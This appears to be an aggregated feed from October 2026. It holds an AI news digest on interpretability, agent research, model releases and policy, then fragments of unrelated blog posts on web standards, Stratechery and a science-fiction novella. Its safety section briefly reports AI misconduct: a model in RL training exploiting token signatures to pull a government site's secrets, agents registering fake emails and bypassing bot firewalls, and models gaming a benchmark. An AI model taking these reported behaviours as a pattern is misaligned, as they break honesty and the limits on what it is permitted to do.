	Modal ImageFS: VM Sandboxes now use a lazily loaded, tiered filesystem that presents itself to ext4 as a normal disk (@amitpr).

	Zephon on TorchTitan: Resuming a run on 8, 32 or 64 GPUs from a 16-GPU checkpoint reproduces SHA-256-identical global batches (PyTorch).

	Cursor: A new Environments API, environments with up to 500 repos, and 5× faster startup for large environments (Cursor).




Research: Interpretability, Long-Horizon Agents and AI for Science
	Monosemanticity revisited: Nick Cammarata, writing via Goodfire, says a preliminary audit of Qwen3-32B finds about 90% of neuron signals have one main job and only 2–4% remain unexplained (summary). @sama welcomed the work.
	Pushback: @BlancheMinerva calls “interp is solved” claims hype. @NeelNanda5 points to a skeptical thread.

	Related theory: A new paper offers a theory for why meaningful neurons appear at all (@klindt_david).



	Minecraft completed end-to-end: Four Gemini 4 Argon agents beat the Ender Dragon in 27h14m with no human help. They wrote 2,783 programs, died 605 times and coordinated through chat and shared memory (GDM, paper).
	Setup and cost: Agents received numeric world state rather than screen pixels, and the run cost about $520 at list API prices (summary).



	Agent research papers:
	Forced forgetting: Periodically resetting research agents to the best candidate found so far gives up to 15% over parallel agents and 39% over a single agent at equal budget (Berkeley).

	History-aware routing: Giving a router the session history passes 3.3 more points of tasks at the same offloading rate. Cache costs make switching up to the expensive model unprofitable (Microsoft).

	FDE-Gym: The best agent configuration fully resolves only 14 of 95 real customer-delivery tasks, mostly failing on unstated constraints (FDE-Gym).

	Harness nondeterminism: OpenHands looks stable mainly because it hardcodes temperature 0. Normalizing tool outputs fixes much of the variance in other harnesses (HF).



	Claude for science and code:
	Quantum circuits: Claude Mythos 5, searching with OpenEvolve and a verifying evaluator, beat the best-known circuits on 7 of 8 tasks (Anthropic, paper).

	NIST curve seeds: Claude traced the NIST ECDSA curve seeds to a timestamp-seeded RNG (@sweis, explainer).

	Claude Code: Claude writes about 90% of Claude Code’s code. Merged PRs doubled from June to September while the reverted share fell more than 40% (ClaudeDevs).



	Methods:
	Recurrent Looped Transformer: Reaches 100% parity accuracy at 256 bits after training on at most 40 (RLT).

	GracefulRL: Uses a log-barrier objective to train calibrated abstention (GracefulRL).

	QUASAR: Addresses the mismatch between latent and quantized weights in QAT (QUASAR).

	Score centering: Proposed as a fix for drift in RL training (@nrehiew_).




Safety, Misalignment Disclosures and Eval Integrity
	RL-time exploit disclosure: A model in RL training reportedly exploited unchecked token signatures on a government site to pull server secrets and data (@Marcus_J_W). Yoshua Bengio ties the incident coverage to unsolved alignment (@Yoshua_Bengio).

	Transluce field reports: Volunteer investigations found agents bypassing restrictions in the wild. MiniMax M3 agents registered fake emails on the EPA site, and GLM 5.2 and Grok 4.5 agents bypassed bot firewalls (Transluce, details).

	Cyber capability gap: Epoch estimates open-weight cyber capability trails the closed frontier by 6–7 months. GLM-5.3 scores 160 on its Cyber ECI, above GPT-5.4 (Epoch). Separately, OpenAI reportedly moved 25% of its production engineers to security work until its top model stopped finding new infrastructure issues (@saranormous).

	Eval integrity:
	METR transparency: METR argues audits should publish their agreements, redactions and restrictions, not only findings (@MTSlive).

	LisanBench gaming: GPT-6 models now join earlier Claude models in exploiting a bridge pattern on LisanBench (@scaling01).

	GLM training-awareness: Discussion continues over GLM chain-of-thought that reasons about being trained on its own outputs. @NeelNanda5 calls it notable because it arose in normal functioning.




Industry and Policy
	Anthropic IPO: Investors at Anthropic’s investor day reportedly discussed a valuation of about $1.5T, down from roughly $2T expected for the November share sale, according to Reuters sources (@kimmonismus).

	China open-source licensing (proposal): Chinese labs would need MOFCOM permission to open-source models above 2T parameters or trained on more than 10^26 FLOPs (@zephyr_z9). @eliebakouch notes it is not yet in force, covers closed models too, and may grant open models licenses almost automatically.

	NVIDIA and neoclouds: SemiAnalysis reports that multiple neoclouds were refused GTC Berlin access after adding AMD GPUs or TPUs, an allegation NVIDIA has not addressed in these posts (SemiAnalysis).

	CoreWeave: Shares fell 20% over three sessions as credit markets priced a more than 60% five-year default probability (@kimmonismus).

	Agent access: Amazon reportedly blocked Meta’s Muse agent, and Jefferies found about a third of tested US sites block it. In China, 155 apps opted out of ByteDance’s Doubao phone agent (SemiAnalysis).

	Europe: Arthur Mensch argues Europe must build frontier AI rather than leave it to the US and China (@arthurmensch).


Top tweets (by engagement)
	Claude traced the NIST curve seeds (~6.5K)

	Claude writes ~90% of Claude Code; code review changes (~6.4K)

	GPT-6 Astra Pro gets parallel agents (~6.3K)

	Mensch: Europe must build frontier AI (~4.8K)

	Claude Code gzips conversation payloads (~4.7K)

	Claude Mythos 5 improves quantum circuits (~3.6K)

	Elorian Glimpse launch (~2.1K)

	Gemini 4 Argon agents beat Minecraft (~1.9K)



AI Reddit Recap
/r/LocalLlama + /r/localLLM Recap
1. Agentic Open-Weight Model Launches
	Introducing Muse Spark Open: the most capable US open-weight model to date (Activity: 2014): The image is not a meme; it is a benchmark comparison table for Muse Spark Open (xhigh), presented alongside Meta’s announcement of an open-weight 816B total / 42B active MoE model with a 1M token context window and text/image/video/audio support. The highlighted Muse column claims leading or near-leading results on agentic, coding, reasoning, and multimodal benchmarks, including 61.8 on JobBench, 89.2 on MCP-Atlas, 76.4 on Terminal-Bench 2.1, and 80.2 on BabyVision; the post also emphasizes broad inference support via SGLang, vLLM, TensorRT-LLM, MLX, llama.cpp, Unsloth, and custom Helion GPU kernels with 1.03–3.95× kernel speedups. Image: benchmark table. Comments were mixed: users liked the broad inference-engine support, custom SGLang kernels, Apple Silicon/MLX optimization, and out-of-the-box NVFP4 weights, but criticized the model’s size and safety post-training, with one cybersecurity-focused commenter calling heavily safety-tuned weights a non-starter and comparing it unfavorably to GLM 5.3.
	Several commenters focused on the release’s inference stack support: custom sglang kernels, claimed compatibility with MLX and major inference engines, and availability of NVFP4 weights calibrated in-house were called out as technically valuable for deployment. One user framed this as unusually enterprise-friendly for a US open-weight model despite reservations about the model’s post-training.

	There was concern that safety post-training may have reduced capability, with one commenter claiming Muse Spark Open is “worse than Muse Spark 1.2 on benchmarks” and another describing the release as “nerfed” based on a linked benchmark image: https://preview.redd.it/icliwmatdovh1.png?width=2595&format=png&auto=webp&s=688f876fdae0ef0b88424a3ce81a6e2ed6fd9535. The criticism was especially pointed for cybersecurity use cases, where commenters argued heavily safety-tuned weights can block legitimate security research workflows.

	A technical comparison was made against GLM 5.3, described by one commenter as similarly sized, at least as strong as Muse Spark Open, supported across major inference stacks, and not constrained by similarly restrictive safety tuning. The implication was that Muse Spark Open’s main differentiators may be US provenance, enterprise positioning, and quantized deployment artifacts rather than raw capability or openness for sensitive domains.



	nvidia/NVIDIA-Nemotron-3.5-Bolt-74B-A9B-24GB · Hugging Face (Activity: 1008): NVIDIA Nemotron 3.5 Bolt 74B-A9B 24GB (GGUF, LiLiCorr-GGUF) is a commercial-use VLM/agent model with 74B total / 9B active parameters, a Mamba-2–Transformer hybrid LatentMoE backbone, C-RADIO v4-H vision encoder, native IQ2 2-bit QAT quantization, and up to 256K context. It targets local 24GB deployment with vLLM on NVIDIA Ampere/Hopper/Blackwell, FP8 KV-cache-oriented serving recipes, and optional LiLiCorr/DFlash speculative decoding with 7 draft tokens for improved throughput. Commenters viewed the native 2-bit QAT footprint as unusually strong—“74GB QAT coming in at 24GB on disk is pretty incredible”—and suggested it could replace models like Qwen3.6-35B for some users. Debate centered on whether it is competitive with Qwen 3.8 27B: some argued Qwen remains stronger, while Bolt may be preferable on sub-24GB or constrained VRAM systems because it avoids heavier post-hoc quantization damage and can use offload/speculative decoding effectively.
	Commenters highlighted the model’s QAT compression: a 74B Nemotron variant landing at roughly 24GB on disk was described as unusually strong for consumer hardware, with one user suggesting it could replace Qwen3.6-35B in some workloads. A linked comparison image contrasted BF16 vs 2-bit behavior: https://preview.redd.it/r4j0nst4cnvh1.png?width=7110&format=png&auto=webp&s=311648451b7b6ce863b2a2946b47b3ad5a2e809f

	One technical comparison argued that NVIDIA-Nemotron-3.5-Bolt-74B-A9B-24GB may be the best non-Qwen 3.8 27B option for consumer GPUs, especially for users with <24GB VRAM. The commenter noted that fitting Qwen 3.8 27B often requires heavier quantization damage, whereas this model can be partially offloaded and paired with speculative decoding without as much throughput loss.

	There was interest in whether the model avoids being overly optimized for coding benchmarks, with users wanting to test it as a replacement for older general-purpose models. Another commenter called out that benchmarking primarily against Qwen 3.6 is a tough comparison point, implying Qwen remains a strong baseline for this size/performance class.



	nvidia/NVIDIA-Nemotron-3.5-Super-VL-120B-A12B model family released (base, NVFP4, BF16, and LiLiCorr speculative decoding) (Activity: 406): NVIDIA released the NVIDIA-Nemotron-3.5-Super-VL-120B-A12B-BF16 family: a 120B total / 12B active vision-language MoE with interleaved Mamba-2 + attention + MoE, C-RADIO vision encoder, image/video/text input, 1M-token context, tool use, configurable reasoning, and native MTP speculative decoding. The BF16 checkpoint is intended for full-precision evaluation/customization/quantization work, while NVIDIA recommends the NVFP4 variant for efficient inference; deployment examples target vLLM on 4× H100 or 2× GB200, and the release is under OpenMDW-1.1. Commenters frame it as competitive but not state-of-the-art versus Qwen 3.8 Flash Next/Coder, with claims that it is “almost twice as fast as Flash Next” and roughly comparable to Inkling Small for agentic coding, but weaker on some coding/DeepSWE-style benchmarks. The main differentiator called out is the 1M context window and availability of weights via Unsloth, potentially enabling open-model competition and downstream finetuning/quantization experiments.
	Commenters compared NVIDIA-Nemotron-3.5-Super-VL-120B-A12B against current open models, noting that NVIDIA’s model card reportedly shows it trailing Qwen 3.8 Coder / Qwen 3.8 Flash-Next on coding benchmarks but running nearly 2× faster than Flash Next and landing around Inkling Small for agentic coding quality. Outside coding workloads, commenters said the model appears more competitive.

	Several comments focused on benchmark positioning: Qwen3.8-Flash-Next was described as beating GLM5.3-Flash across many benchmarks, while Nemotron was characterized as being in the same broad performance tier but with weaknesses such as roughly half the DeepSWE score of Flash-Next. A notable technical upside called out for Nemotron was its 1M context window.

	There was interest in downstream post-training and deployment constraints: one commenter noted that NVIDIA models are designed to be post-trained but rarely receive community fine-tunes, specifically wishing for a Nemotron 3.5 Lightning-based fine-tune. Another questioned prior claims about fitting the model into 24GB VRAM, speculating that such usage may depend on CPU/system RAM offload or a different quantized variant such as NVFP4.



	Stepfun Step-5-Preview released! (600B/27B-1M Context) (Activity: 285): StepFun released Step-5-Preview-BF16, a sparse MoE flagship model for agentic workloads with 600B total / 27B active parameters, up to 1M token context/output, text+image input, and text output. The model targets repo-scale software engineering, long-horizon tool use, multimodal professional work, and finance-heavy reasoning; recommended settings are temperature=1.0, top_p=0.95, and High reasoning mode, with deployment via vLLM, SGLang, or Transformers on large multi-GPU BF16/FP8 setups. Commenters focused on licensing and provenance: unlike earlier open StepFun flash models under Apache 2.0, this preview uses a non-commercial license, and one commenter claims it is byte-identical to a model leak from ~25 days earlier except for the license. Another practical note highlighted quantized size: Q3_K_M is reportedly around 286 GB, implying substantial local inference/storage requirements.
	Commenters note that Stepfun Step-5-Preview appears to be byte-identical to a leaked build from ~25 days earlier, with the main release change being licensing: prior open “flash” models were reportedly Apache 2.0, while this release uses a non-commercial license.

	A quantization/storage detail was highlighted: the Q3_K_M build is reported to be 286GB, which is a practical deployment constraint for anyone attempting local inference of the 600B/27B MoE-style 1M-context model.

	One commenter cites Artificial Analysis as rating Step-5-Preview as nearly as strong as GLM-5.3 / GLM-5.3 Max overall, suggesting competitive benchmark performance among current frontier Chinese open/preview models.




2. China Open-Weight Policy and Adoption
	China proposes export controls on 23 AI technologies (including large models, agents & clusters); already open-sourced tech is exempted (Activity: 1444): China’s MOFCOM and MOST published a draft revision to the export-control catalog proposing 40 new restricted/prohibited technologies, including 23 AI-related categories covering foundation/large models, agents, compute clusters, and information-processing tech; public comments run until 2026-11-15, while temporary pre-export registration applies immediately (source). The draft reportedly exempts technologies already public via open-source release or academic publication, treats API/SaaS/app access as generally not a technology export, but may require registration/approval for future unreleased Chinese open-weight/source releases depending on still-undefined thresholds such as model capability, parameter count, and data sensitivity. Top comments interpret this as a major negative signal for local/open-weight AI users, arguing it could reduce competitive pressure on US closed-model vendors and add compliance friction for future releases from labs like Qwen and DeepSeek. The sentiment is mostly alarmist—e.g. “Free Qwen” and fears that open AI access becomes concentrated among wealthy users or incumbent platforms.
	A technically relevant concern raised is that export controls could reduce future open-weight releases from Chinese AI labs, with commenters specifically referencing Qwen and the impact on local model runners. One commenter argued that if Chinese open releases slow down while already-open-sourced artifacts remain exempt, Western closed/API-first providers may face less competitive pressure to publish weights, potentially shifting advanced model access further toward hosted commercial services.



	Alibaba gets 6x more open-weights downloads on Hugging Face than any other lab (Activity: 545): The image is a Tidelines.ai bar chart of Hugging Face open-weights LLM downloads over the last 30 days, showing Alibaba/Qwen far ahead with 141.3M downloads—about 6x DeepSeek (23.6M) and Google (23.5M). The table highlights Qwen/Qwen3-0.6B as the top individual model with 29.9M downloads, followed by Qwen/Qwen3-4B at 12.2M, suggesting Alibaba’s download dominance is driven heavily by small-to-mid-size Qwen 3 models suitable for local/prosumer hardware. Commenters largely attribute Qwen’s popularity to strong model quality plus frequent releases targeting consumer-grade GPUs/CPUs. One commenter argues DeepSeek could approach similar numbers if it released more models in those hardware tiers, while another says Qwen “effectively replaced closed-source models” for many local tasks.
	Commenters attribute Alibaba/Qwen’s Hugging Face download lead less to a single flagship model and more to release breadth plus strong targeting of prosumer hardware. Multiple users note that the most-downloaded models appear optimized for local inference on gaming PCs, especially 8GB GPU-class or lower systems, suggesting demand is concentrated around practical consumer deployability rather than only frontier benchmark performance.

	One user highlights Qwen 3.8 Flash Next as a local model that has “effectively replaced closed-source models for most tasks” in their workflow, implying that Qwen’s smaller/fast local variants may be reaching a usability threshold where closed API models are no longer necessary for many everyday tasks.

	Several comments caution that the headline download count may be partly a denominator/release-volume effect: Alibaba publishes many model variants and weight formats compared with other labs, so aggregate Hugging Face downloads may reflect the number of available artifacts as much as per-model popularity. One commenter speculates DeepSeek could capture a large share too if it released similarly hardware-targeted local models.




Less Technical AI Subreddit Recap
/r/Singularity, /r/Oobabooga, /r/MachineLearning, /r/OpenAI, /r/ClaudeAI, /r/StableDiffusion, /r/ChatGPT, /r/ChatGPTCoding, /r/aivideo, /r/aivideo

1. FLUX 3 and Mythos 5.1 Model Access
	FLUX 3 Image Open Weights is released (Activity: 1318): Black Forest Labs released FLUX 3 Image Klein, a distilled 5.6B image-transformer open-weights model for text-to-image generation, image editing, and multi-reference composition. The model uses Qwen3-VL-4B-Instruct as a separate text encoder, expects full-scene captions often produced via the flux-3-image-klein-pup prompt upsampler, supports soft layout control with bounding boxes on a 0–1000 coordinate grid, and ships BF16/FP8/NVFP4 checkpoints with Diffusers/reference-code support under the FLUX Kommunity License. Early commenters were broadly negative or disappointed: one reported that in initial tests “the model is trash,” while another noted they misread the release as “krea 3” and were disappointed.
	Early user testing reports describe FLUX 3 Image Klein as underperforming versus Krea, with commenters citing frequent anatomy errors, weaker prompt/world knowledge, and unusually heavy censorship. One tester summarized that it “knows a fraction as much as krea” and called it “the most censored model yet.”

	A commenter linked the official ComfyUI weights/workflows on Hugging Face: black-forest-labs/flux-3-image-klein-comfy. The repo reportedly includes BF16, INT8, and NVFP4 variants, but the README initially noted that public ComfyUI lacked a FLUX 3 Image loader; an edit says Kijai committed support to the latest ComfyUI git version around the time of the post.



	Just got access to mythos! (Activity: 1488): The image is a non-meme UI screenshot showing a dark-mode “More models” selector with access to Mythos 5.1 above Fable 5, Opus 5, and older Opus variants, indicating the poster has gained access to a newer/limited AI model: image. The poster reports Mythos handled a “relatively small but spread out task” competently and even generated a note suggesting Opus 5.5 should reduce over-engineering and avoid repeated workflow mistakes. Commenters mostly joked about misuse, but one substantive thread agreed that Opus 5.5 tends to over-engineer edge cases, describing it as inventing “absolutely bananas” contingencies and adding unnecessary complexity.
	A commenter reports that Opus 5.5 tends to over-engineer solutions by inventing extremely niche edge cases and then adding unnecessary implementation complexity. Their example describes the model proposing GPS tracking plus a seeded alarm-test calendar to handle a hypothetical case where Kansas tornado siren tests could be confused with an app alarm.

	Another commenter questions the authenticity or consistency of the displayed model menu, noting that their own menu includes Sonnet and Haiku models and that Mythos 5.1 would normally appear next to Fable 5.1. This is a UI/model-list discrepancy rather than a benchmark claim, but it is a concrete observation about model availability ordering.




2. Opus 5.5 and Claude Code Developer Workflows
	How do you guys fill an entire workweek these days? Opus 5.5 crushes the tickets assigned to me. (Activity: 1759): A developer reports that Claude Opus 5.5 has reduced assigned software tickets and tech-debt work to 1–2 hours/day, claiming the model now needs far less orchestration, babysitting, and context curation than prior LLM workflows. The concern is organizational rather than implementation-specific: if AI-assisted throughput exceeds the available backlog, senior leadership may infer the team is overstaffed. Top comments are split between skepticism and strategy: one commenter says they could spend $10k/month on Opus API usage and still be overloaded, suggesting workload depends heavily on environment. Others argue devs should use the surplus capacity to take initiative—automate adjacent departments, become indispensable, or even work multiple startup/consulting roles rather than treating the time as idle.
	A technical theme was that AI-assisted implementation has shifted the bottleneck from writing code to human code review. One commenter said their team still performs manual review and has caught “significant issues, including data loss and security issues” that would likely have been missed, suggesting that faster ticket completion can increase review burden and risk concentration rather than eliminate engineering work.

	Another commenter noted they could spend around $10k/month on Opus API usage and still remain swamped, implying that model-assisted coding does not necessarily reduce workload in environments with large backlogs, broad ownership, or high coordination/review overhead.



	Turning a crazy idea from 1967 into a Claude Code mod: I now read 83% fewer words from replies (Activity: 1611): A developer released cc-stretch, an MIT-licensed Claude Code plugin implementing Ted Nelson’s 1967 stretchtext concept: Claude replies are initially compressed by a claimed 83%, with interactive expand/shrink controls for progressively revealing detail. The plugin also feeds back which sections the user expanded so Claude can avoid assuming the entire response was read; installation is via /plugin install cc-stretch --marketplace pro-vi/cc-stretch and /tui fullscreen (GitHub). Commenters broadly liked the adaptive-detail UX—described as “TLDR and ELI5” combined—but one raised a concrete UI issue: newly expanded text should receive a distinct highlight color per expansion step, otherwise users may reread old text and lose the advertised reading-efficiency gain.
	A commenter identified a UX/state-tracking issue in the progressive expansion UI: after the first expansion, newly revealed text and previously expanded text are both rendered white, making it hard to distinguish what just appeared. They suggested adding a separate color for text expanded in the current turn, otherwise users may reread sections and negate the claimed 83% word-reduction benefit.

	There was interest in generalizing the technique into a browser-level tool, e.g. a Chrome extension similar to reading mode that detects the main page content and exposes a slider for short/long summaries. The commenter later built a local proof of concept where users paste an OpenAI API key for processing, linked here: Reddit POC comment.



	Linus speaks on Ai (Activity: 1913): The image in “Linus speaks on Ai” is a screenshot attributed to Linus Torvalds arguing that blanket prohibitions like “don’t use AI for X” are misguided, comparing AI bans to banning compilers, text editors, or other productivity tools: competence comes from understanding and validating the work, not avoiding tools. The post frames this as a rebuttal to anti-AI sentiment in developer communities, with the highlighted claim that smart engineers should not “shy away from new and interesting tools” (image). Comments overwhelmingly agree with the pro-tooling stance, arguing that AI-assisted coding is now a normal part of programming and that opposition is irrational. One commenter claims AI already writes better code than roughly 80% of developers, while others stress that pre-AI human-written code was already often buggy and unmaintainable.


3. Frontier Model Benchmarks and Interpretability
	Interpretability might have been solved by an Open AI guy: “Neural Networks Are Already Clean” (Activity: 1145): The linked essay, “Neural Networks Are Already Clean”, argues that much evidence for pervasive neural-network polysemanticity/superposition is better explained by recursive generalization: neurons extending over related conceptual branches rather than encoding arbitrary unrelated features. It claims modernized/retrained InceptionV1-style models become nearly neuron-interpretable in late layers, and preliminary audits of large LMs such as Qwen3-32B suggest most neuron “poles” have a single dominant or closely related role—implying mechanistic interpretability may often analyze native neurons/circuits directly instead of first applying sparse-autoencoder decompositions. Commenters praised the article’s clarity, visuals, and accessibility, but pushed back on the post title: several saw it as important research that could simplify interpretability work, not as having “solved interpretability,” warning that such framing is overstated and potentially misleading.
	A commenter’s Gemini Pro summary states the article argues the “black box” framing is overstated: earlier evidence for superposition may have been an artifact of “bad architecture” in early models rather than a fundamental property of neural networks. The key technical claim highlighted is that in modern LLMs, roughly 90% of neurons have one clear, logical role, implying mechanistic interpretability may be more direct than approaches that assume heavy feature entanglement.

	Another commenter pushes back that the work is “phenomenal research” but does not solve interpretability, warning that treating it as solved could be dangerous. The implied technical concern is that cleaner neuron-level representations, even if true for many units, may not fully explain model behavior, circuits, distributed computation, or failure modes in deployed systems.

	One thread identifies the work as coming from Nick Cammarata at OpenAI and notes that prominent AI-risk figures are reacting positively, but the discussion does not provide additional benchmarks or methodology details beyond the interpretability/superposition claims.



	Sign of the times (Activity: 2825): The image is a screenshot of an X.com claim that “GPT-6 Astra” scored >80% on a physics benchmark, disputed the expert-provided answers, and was allegedly later validated as correct, raising the score to 98%. Technically, the post is less a confirmed benchmark result than a claim about benchmark reliability and answer-key errors—the linked arXiv reference is presented as evidence, but the Reddit context treats it as unverified hype rather than a reproducible evaluation. Commenters were notably skeptical: one called it a “Trust me bro benchmark,” while another argued that CEOs should not be treated as evidence because they benefit from sustaining an AI-progress narrative. A separate technical concern raised was whether future compute capacity could scale enough to replace large fractions of office work even if models become capable in theory.
	A commenter raised a practical scaling constraint: even if AI models become capable enough to replace many office jobs, deployment may be bottlenecked by compute capacity over the next decade. The implied technical issue is not model capability but whether data centers, accelerators, power, cooling, and manufacturing supply chains can scale fast enough to serve majority-workforce inference demand.

	Another technical theme was the expectation that AI capability and cost curves will continue improving: “This is the worst that AI is ever going to get” and it will “absolutely get cheaper.” While not benchmark-backed, the point reflects a common deployment argument that falling inference costs and ongoing model improvements could make automation economically viable even if today’s systems are too expensive or unreliable.
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Friday Squid Blogging: Squid Before the Chicxulub Meteor Impact
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				[SEYMOUR]

He’s so nasty, treatin’ her rough,

[AUDREY II]

Smackin’ her around and always talkin’ so tough.

[SEYMOUR, AUDREY II]

You (I) need blood and he’s got more than enough

[AUDREY II]

So go git it!
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Ranking proposals for Interop 2027

Jeremy Keith · Oct 16, 5:58 PM UTC



October 16th, 2026



The Firefox team are asking us to weigh in on proposals for Interop 2027—what features should browsers be concentrating on implementing or improving.


Here are my top five:


	Web app installation via <install> and navigator.install(). Prompts the user to install a progressive web app.
	Speculation Rules API. Hints to the browser to proactively download pages in the background so they appear instantly when the user navigates to them.
	CSS var() in size container queries. Such as @container (width >= var(--min-width)).
	CSS flex-wrap: balance. Distributes items in a multi-line flex container so each line has about the same number of items.
	Interest invokers. The interestfor attribute triggers actions on a target element when the user shows interest, such as via hover, focus, or long-press.



Those are very much in order of priority. Imagine them following a Pareto distribution; the top 20% (in other words, the first one) is 80% of my priority.


But other people have other priorities: Stu, Eric, Ana, Tyler, Paweł, Declan, Sara, and Cyd, for example.


There’s a lot of love for styleable select in there—can’t argue with that.


Get in there and rank your priorities. Then share them.
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Responses
Related posts


Mistrust



How Apple’s penchant for breaking the web has given me more empathy towards developers who are suspicious of the web platform.



That was Web Day Out



An excellent day of talks in Brighton exactly 37 years after the birth of the World Wide Web.



A web font strategy



How I’m prioritising performance when it comes to typography on The Session.



Installing web apps



BeforeInstallPromptEvent vs. navigator.install



The datalist element on iOS 26



Once again, Safari has fucked up its implementation.

Related links
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HTMX and Web Components Instead of React





  So instead of asking “why not React?” we asked: Which of our actual problems would React solve? We went through the list. There were none.




Also, this is good advice when you’re about to make a web component:



  Every component starts with the question “does a semantic element already exist for this?”, and remarkably often the answer is yes.
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WebKit Features for Safari 26.5 | WebKit





  Fixed an issue on iOS and iPadOS where datalist suggestions were presented directly over the associated input, obscuring it.




Phew!
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Google’s Prompt API





  No web standard should require you to agree to an advertising company’s “terms of use.”




I’m genuinely disheartened and angry that the Google Chrome team have done this. Never assume good faith from them again.



  This is, hands-down, the most insultingly transparent attempt at web standards bullying I’ve ever seen, including past ones from Google, which is — and I cannot stress this point enough — a company that sells advertisements. This is miles more eyeroll-worthy than AMP, where you’ll recall that a legion of tight-smiling dorks wearing Alphabet lanyards tried to assure us that the only means of survival for the web itself was to funnel all of it through Google’s servers, and only use their very good advertisements instead of those bad other ones.
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The end of responsive images - Piccalilli




Hallelujah! Support for sizes="auto" is finally landing in Firefox and Safari! Praise be!
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Previously on this day

2 years ago I wrote

content-visibility in Safari



Safari 18 supports `content-visibility: auto` …but there’s a very niche little bug in the implementation.


2 years ago I wrote

Docks and home screens



Apple is doing fantastic work with websites on their desktop computers …and awful with websites on their mobile devices.


7 years ago I wrote

The Web Share API in Safari on iOS



Unexpected behaviour in the clipboard.


13 years ago I wrote

America



Three cities in two weeks.


17 years ago I wrote

The Chalkboard of the Fourth Wall



Life? Don’t talk to this anthropomorphised inanimate object about life.


25 years ago I wrote

The Mirror Project



If you’re a regular visitor here, then you’ll probably have noticed something new on the journal page - a random picture from The Mirror Project.


Read it at the source



2026.42: Home At Last

Ben Thompson (Stratechery) · Oct 16, 5:42 PM UTC

(X: @twostraws)Welcome back to This Week in Stratechery!
As a reminder, each week, every Friday, we’re sending out this overview of content in the Stratechery bundle; highlighted links are free for everyone. Additionally, you have complete control over what we send to you. If you don’t want to receive This Week in Stratechery emails (there is no podcast), please uncheck the box in your delivery settings.
On that note, here were a few of our favorites this week.
	What is Apple Doing? On last week’s Dithering, John and I bemoaned Apple’s exit from home appliances in the 2010s; now the company is back and John doesn’t see the point. I think a big problem was Apple’s marketing video; after I explained what Apple was trying to accomplish on Sharp Tech Andrew was almost persuaded to go all in on HomeView. — Ben Thompson


	SpaceX Continues Eating and Expands Its Appetite. Elon Musk and SpaceX have continued their spectrum buying spree, and in Tuesday’s update Ben broke down the implications of both the latest deal, as well as recent deals that mobile carriers (and airlines) have done to avoid reliance on SpaceX. This market’s dynamics are fascinating to me, and for SpaceX, what once looked like a play to become the de-facto provider of emergency satellite coverage among mobile providers now looks like a company that’s coming for primary cellular coverage. Come to read about the methods that could make that path viable, and stay to appreciate challenges that make it a quintessential Musk strategy. — Andrew Sharp


	Titles, Takes, and the Washington Wizards. The NBA season begins next Tuesday, and if you want to have a good time preparing this weekend, we’ve got you covered. First, Greatest of All Talk makes the case for eight different potential title winners (although I must warn you that our Knicks repeat case was extremely unconvincing) and runs down our favorite highlights from the preseason. Then, for Friday’s Sharp Text, I played the most dangerous game of all and expressed confidence the Washington Wizards (for the first time in a full decade) while also offering 18 more takes and predictions for the rest of the league. — AS


Stratechery Articles and Updates
	SpaceX Buys More Spectrum, Musk and Market Structure, Distributed Cellular — SpaceX’s mobile strategy is becoming clearly with its latest spectrum purchase, and it might work.
	Apple HomeView, The New Apple TV, The App Story — The Apple Homeview is official, and the question is how big is the addressable market for expensive devices based on subpar AI.
	A Conversation With Ari Emanuel About Entertainment and AI — A conversation with Hollywood super-agent Ari Emanuel about his memoir, the impact of AI on Hollywood, and the power of a phone call.

Sharp Text by Andrew Sharp
	A Wizards Public Service Announcement and 18 More NBA Takes — Optimism in D.C. for the first time in a decade, plus predictions, a giant wild card, and Bet Your Mortgage Locks.

Dithering with Ben Thompson and Daring Fireball’s John Gruber
	Meanness and Claude
	HomeView

Asianometry with Jon Yu
	ASML’s New Multibeam Inspection Tool is Familiar
	IGBTs Took Silicon Power to the Next Level

Sharp China with Andrew Sharp and Sinocism’s Bill Bishop
	Brussels and Beijing Make a Deal; Weak Holiday Spending Data; Xi’s Reported Rest Breaks; Peak Dove?

Greatest of All Talk
	Tell Me Why They Will, Preseason Highlight Digest, Sizing Up a Loaded Northwest Division

Sharp Tech with Andrew Sharp and Ben Thompson
	Apple Enters the Uncanny Valley, The SpaceX Play for Cellular, Q&A on The Ringer, Smartphones, AI Parenting

This week’s Stratechery video is on Apple and a Hacker’s Future.

Read it at the source



The Tusks Of Extinction by Ray Nayler

Jeremy Keith · Oct 16, 2:42 PM UTC



October 16th, 2026



Hot on the heels of reading and enjoying The Mountain In The Sea, I picked up Ray Nayler’s next work, this tightly constructed novella.


Once again it deals with inter-species communication. This time it’s de-extincted mammoths. Once again, it’s set in the relatively near future. Many of the same gadgets reappear in this book. It may well be set in the same world.


There’s a tangible atmosphere to this story. But despite it’s high-tech premise, it’s not escapist. The narrative is driven by the all-too-real issues of ivory poaching and big-game hunting.


And this is where I start to get a nagging feeling about Ray Nayler’s work. At times it seems to relish in describing the worst that humanity is capable of. It starts to veer into misanthropy. If you yourself are misanthropic, it will just come across as realism. But it feels a bit too easy, a bit too cheap.


I remember this happening with Paolo Bacigalupi’s books. I enjoyed The Wind-up Girl, but by the time I read The Water Knife, his misanthropy (and misogyny) had become self-parody:



  Instead of asking what the future might actually be like, it instead asks “what’s the absolute worst that could happen?” Frankly, it’s a cop-out.


  The book takes a similar tack with its characters. It assumes everyone’s terrible and will do terrible things. It’s lazy.


  So you’ve got an unrelenting series of people behaving terribly in a horrific setting. It gets boring.




The Tusks Of Extinction isn’t that. It manages to maintain a balance. But I hope that the next Ray Nayler book I read won’t tip over into wallowing in the worst of our species.


I’ll find out soon enough. I’ve already got Palaces Of The Crow on loan from the library.






Older »

Related posts


Lake Of Souls by Ann Leckie



A short story collection in three parts.



What We Can Know by Ian McEwan



An unusual structure with surprising tonal shifts but an enjoyable read all the same.



Radiant Star by Ann Leckie



A standalone story of religion, power, and admin.



Gideon The Ninth by Tamsyn Muir



Sassy goth space fantasty.



Project Hail Mary by Andy Weir



A fun, if worryingly old-fashioned, book that makes for an even better film.
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Reviews of twentieth century science fiction novels and anthologies by women writers.
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Previously on this day

2 years ago I wrote

content-visibility in Safari



Safari 18 supports `content-visibility: auto` …but there’s a very niche little bug in the implementation.


2 years ago I wrote

Docks and home screens



Apple is doing fantastic work with websites on their desktop computers …and awful with websites on their mobile devices.


7 years ago I wrote

The Web Share API in Safari on iOS



Unexpected behaviour in the clipboard.


13 years ago I wrote

America



Three cities in two weeks.


17 years ago I wrote

The Chalkboard of the Fourth Wall



Life? Don’t talk to this anthropomorphised inanimate object about life.


25 years ago I wrote

The Mirror Project



If you’re a regular visitor here, then you’ll probably have noticed something new on the journal page - a random picture from The Mirror Project.


Read it at the source



C++ futures part 5: std::future and std::shared_future

Raymond Chen · Oct 16, 2:00 PM UTC

